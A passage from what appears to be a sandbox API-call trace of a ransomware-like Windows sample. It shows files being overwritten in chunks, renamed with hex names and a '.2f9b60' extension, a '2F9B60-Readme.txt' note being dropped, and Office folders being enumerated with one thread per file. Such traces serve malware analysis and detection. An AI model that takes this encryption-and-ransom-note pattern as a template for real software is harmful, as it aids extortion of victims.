lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x1eadf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.754] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0205.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0205.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0205.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20153cc0 [0205.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0205.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0205.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0205.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0205.758] WriteFile (in: hFile=0x14c8, lpBuffer=0x20153cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1eadf7c0, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesWritten=0x1eadf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0215.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430ea1d0 [0215.315] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.316] WriteFile (in: hFile=0x14c8, lpBuffer=0x4310eb70*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x1eadf870, lpOverlapped=0x0 | out: lpBuffer=0x4310eb70*, lpNumberOfBytesWritten=0x1eadf870*=0x15e, lpOverlapped=0x0) returned 1 [0220.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0220.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0220.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0220.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0220.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f470 [0220.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0220.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265940 [0220.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265940) returned 1 [0220.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0220.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0220.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x43105de0 [0220.154] sprintf (in: _Dest=0x43105de0, _Format="%c%c" | out: _Dest="1b") returned 2 [0220.154] sprintf (in: _Dest=0x43105de2, _Format="%c%c" | out: _Dest="db") returned 2 [0220.154] sprintf (in: _Dest=0x43105de4, _Format="%c%c" | out: _Dest="50") returned 2 [0220.154] sprintf (in: _Dest=0x43105de6, _Format="%c%c" | out: _Dest="cb") returned 2 [0220.154] sprintf (in: _Dest=0x43105de8, _Format="%c%c" | out: _Dest="5f") returned 2 [0220.155] sprintf (in: _Dest=0x43105dea, _Format="%c%c" | out: _Dest="23") returned 2 [0220.155] sprintf (in: _Dest=0x43105dec, _Format="%c%c" | out: _Dest="d8") returned 2 [0220.155] sprintf (in: _Dest=0x43105dee, _Format="%c%c" | out: _Dest="58") returned 2 [0220.155] sprintf (in: _Dest=0x43105df0, _Format="%c%c" | out: _Dest="b1") returned 2 [0220.155] sprintf (in: _Dest=0x43105df2, _Format="%c%c" | out: _Dest="f6") returned 2 [0220.155] sprintf (in: _Dest=0x43105df4, _Format="%c%c" | out: _Dest="bf") returned 2 [0220.155] sprintf (in: _Dest=0x43105df6, _Format="%c%c" | out: _Dest="51") returned 2 [0220.155] sprintf (in: _Dest=0x43105df8, _Format="%c%c" | out: _Dest="23") returned 2 [0220.155] sprintf (in: _Dest=0x43105dfa, _Format="%c%c" | out: _Dest="1d") returned 2 [0220.155] sprintf (in: _Dest=0x43105dfc, _Format="%c%c" | out: _Dest="ef") returned 2 [0220.155] sprintf (in: _Dest=0x43105dfe, _Format="%c%c" | out: _Dest="bf") returned 2 [0220.155] sprintf (in: _Dest=0x43105e00, _Format="%c%c" | out: _Dest="47") returned 2 [0220.155] sprintf (in: _Dest=0x43105e02, _Format="%c%c" | out: _Dest="26") returned 2 [0220.155] sprintf (in: _Dest=0x43105e04, _Format="%c%c" | out: _Dest="62") returned 2 [0220.155] sprintf (in: _Dest=0x43105e06, _Format="%c%c" | out: _Dest="40") returned 2 [0220.155] sprintf (in: _Dest=0x43105e08, _Format="%c%c" | out: _Dest="73") returned 2 [0220.155] sprintf (in: _Dest=0x43105e0a, _Format="%c%c" | out: _Dest="34") returned 2 [0220.155] sprintf (in: _Dest=0x43105e0c, _Format="%c%c" | out: _Dest="73") returned 2 [0220.155] sprintf (in: _Dest=0x43105e0e, _Format="%c%c" | out: _Dest="0f") returned 2 [0220.155] sprintf (in: _Dest=0x43105e10, _Format="%c%c" | out: _Dest="8f") returned 2 [0220.155] sprintf (in: _Dest=0x43105e12, _Format="%c%c" | out: _Dest="df") returned 2 [0220.155] sprintf (in: _Dest=0x43105e14, _Format="%c%c" | out: _Dest="f8") returned 2 [0220.155] sprintf (in: _Dest=0x43105e16, _Format="%c%c" | out: _Dest="d8") returned 2 [0220.155] sprintf (in: _Dest=0x43105e18, _Format="%c%c" | out: _Dest="da") returned 2 [0220.155] sprintf (in: _Dest=0x43105e1a, _Format="%c%c" | out: _Dest="76") returned 2 [0220.155] sprintf (in: _Dest=0x43105e1c, _Format="%c%c" | out: _Dest="1f") returned 2 [0220.155] sprintf (in: _Dest=0x43105e1e, _Format="%c%c" | out: _Dest="45") returned 2 [0220.155] sprintf (in: _Dest=0x43105e20, _Format="%c%c" | out: _Dest="d3") returned 2 [0220.155] sprintf (in: _Dest=0x43105e22, _Format="%c%c" | out: _Dest="94") returned 2 [0220.155] sprintf (in: _Dest=0x43105e24, _Format="%c%c" | out: _Dest="11") returned 2 [0220.155] sprintf (in: _Dest=0x43105e26, _Format="%c%c" | out: _Dest="d6") returned 2 [0220.155] sprintf (in: _Dest=0x43105e28, _Format="%c%c" | out: _Dest="4a") returned 2 [0220.155] sprintf (in: _Dest=0x43105e2a, _Format="%c%c" | out: _Dest="0f") returned 2 [0220.155] sprintf (in: _Dest=0x43105e2c, _Format="%c%c" | out: _Dest="7d") returned 2 [0220.155] sprintf (in: _Dest=0x43105e2e, _Format="%c%c" | out: _Dest="97") returned 2 [0220.156] sprintf (in: _Dest=0x43105e30, _Format="%c%c" | out: _Dest="e3") returned 2 [0220.156] sprintf (in: _Dest=0x43105e32, _Format="%c%c" | out: _Dest="0d") returned 2 [0220.156] sprintf (in: _Dest=0x43105e34, _Format="%c%c" | out: _Dest="0a") returned 2 [0220.156] sprintf (in: _Dest=0x43105e36, _Format="%c%c" | out: _Dest="5a") returned 2 [0220.156] RtlInitAnsiString (in: DestinationString=0x1eadf8e8, SourceString="1bdb50cb5f23d858b1f6bf51231defbf472662407334730f8fdff8d8da761f45d39411d64a0f7d97e30d0a5a" | out: DestinationString="1bdb50cb5f23d858b1f6bf51231defbf472662407334730f8fdff8d8da761f45d39411d64a0f7d97e30d0a5a") [0220.156] RtlAnsiStringToUnicodeString (in: DestinationString=0x1eadf8b8, SourceString="1bdb50cb5f23d858b1f6bf51231defbf472662407334730f8fdff8d8da761f45d39411d64a0f7d97e30d0a5a", AllocateDestinationString=1 | out: DestinationString="1bdb50cb5f23d858b1f6bf51231defbf472662407334730f8fdff8d8da761f45d39411d64a0f7d97e30d0a5a") returned 0x0 [0220.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43111aa0 [0220.156] wcscat (in: _Dest=0x431314e0, _Source="1bdb50cb5f23d858b1f6bf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\1bdb50cb5f23d858b1f6bf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\1bdb50cb5f23d858b1f6bf" [0220.156] wcscat (in: _Dest=0x431314e0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\1bdb50cb5f23d858b1f6bf.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\1bdb50cb5f23d858b1f6bf.2f9b60" [0220.156] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\1bdb50cb5f23d858b1f6bf.2f9b60", NtPathName=0x1eadf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\1bdb50cb5f23d858b1f6bf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0220.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x43112a60 [0222.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43112a60) returned 1 [0222.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43075ad0) returned 1 [0222.729] NtQueryInformationFile (in: FileHandle=0x14c8, IoStatusBlock=0x1eadf8f8, FileInformation=0x1eadf908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1eadf8f8, FileInformation=0x1eadf908) returned 0x0 [0222.729] NtSetInformationFile (FileHandle=0x14c8, IoStatusBlock=0x1eadf8f8, FileInformation=0x1eadf908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431314e0) returned 1 [0223.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111aa0) returned 1 [0223.221] FlushFileBuffers (hFile=0x14c8) returned 1 [0224.001] CloseHandle (hObject=0x14c8) returned 1 [0224.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c9440 [0224.880] wcscpy (in: _Dest=0x431c9440, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" [0224.880] wcscat (in: _Dest=0x431c9440, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\2F9B60-Readme.txt" [0224.880] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\2f9b60-readme.txt")) returned 0xffffffff [0224.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d90 [0225.823] WriteFile (in: hFile=0x2d90, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1eadf7b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1eadf7b0*=0xba9, lpOverlapped=0x0) returned 1 [0226.284] CloseHandle (hObject=0x2d90) returned 1 [0229.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9440) returned 1 [0229.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 Thread: id = 1257 os_tid = 0xd58 [0115.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced9860 [0115.776] wcscpy (in: _Dest=0x1ced9860, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0115.776] wcscat (in: _Dest=0x1ced9860, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0115.776] wcscat (in: _Dest=0x1ced9860, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*" [0115.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d6a0 [0115.776] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9de50 [0115.873] wcscmp (_String1=".", _String2=".") returned 0 [0115.873] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.913] wcscmp (_String1="..", _String2=".") returned 1 [0115.913] wcscmp (_String1="..", _String2="..") returned 0 [0115.913] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1 [0115.913] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2=".") returned 1 [0115.913] wcscmp (_String1="ENVELOPR.DLL.trx_dll", _String2="..") returned 1 [0115.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad840 [0115.913] wcscpy (in: _Dest=0x1b7ad840, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0115.913] wcscat (in: _Dest=0x1b7ad840, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0115.913] wcscat (in: _Dest=0x1b7ad840, _Source="ENVELOPR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" [0126.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14dc [0126.609] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1 [0126.610] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2=".") returned 1 [0126.610] wcscmp (_String1="GRINTL32.DLL.trx_dll", _String2="..") returned 1 [0126.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b4b0 [0126.610] wcscpy (in: _Dest=0x2027b4b0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.610] wcscat (in: _Dest=0x2027b4b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.610] wcscat (in: _Dest=0x2027b4b0, _Source="GRINTL32.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" [0126.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1098 [0126.611] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1 [0126.611] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2=".") returned 1 [0126.611] wcscmp (_String1="GRINTL32.REST.trx_dll", _String2="..") returned 1 [0126.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a0b0 [0126.611] wcscpy (in: _Dest=0x2027a0b0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.611] wcscat (in: _Dest=0x2027a0b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.611] wcscat (in: _Dest=0x2027a0b0, _Source="GRINTL32.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" [0126.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc8 [0126.612] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1 [0126.612] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2=".") returned 1 [0126.612] wcscmp (_String1="MAPIR.DLL.trx_dll", _String2="..") returned 1 [0126.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85b640 [0126.613] wcscpy (in: _Dest=0x1b85b640, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.613] wcscat (in: _Dest=0x1b85b640, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.613] wcscat (in: _Dest=0x1b85b640, _Source="MAPIR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" [0126.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0126.614] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1 [0126.614] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2=".") returned 1 [0126.614] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2="..") returned 1 [0126.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b690 [0126.614] wcscpy (in: _Dest=0x2027b690, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.614] wcscat (in: _Dest=0x2027b690, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.614] wcscat (in: _Dest=0x2027b690, _Source="MOR6INT.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" [0126.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe3c [0126.618] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1 [0126.618] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2=".") returned 1 [0126.618] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2="..") returned 1 [0126.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85d380 [0126.618] wcscpy (in: _Dest=0x1b85d380, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.618] wcscat (in: _Dest=0x1b85d380, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.618] wcscat (in: _Dest=0x1b85d380, _Source="MSOINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" [0126.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1694 [0126.620] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1 [0126.620] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2=".") returned 1 [0126.620] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2="..") returned 1 [0126.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027bc30 [0126.620] wcscpy (in: _Dest=0x2027bc30, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.620] wcscat (in: _Dest=0x2027bc30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.620] wcscat (in: _Dest=0x2027bc30, _Source="MSOINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") 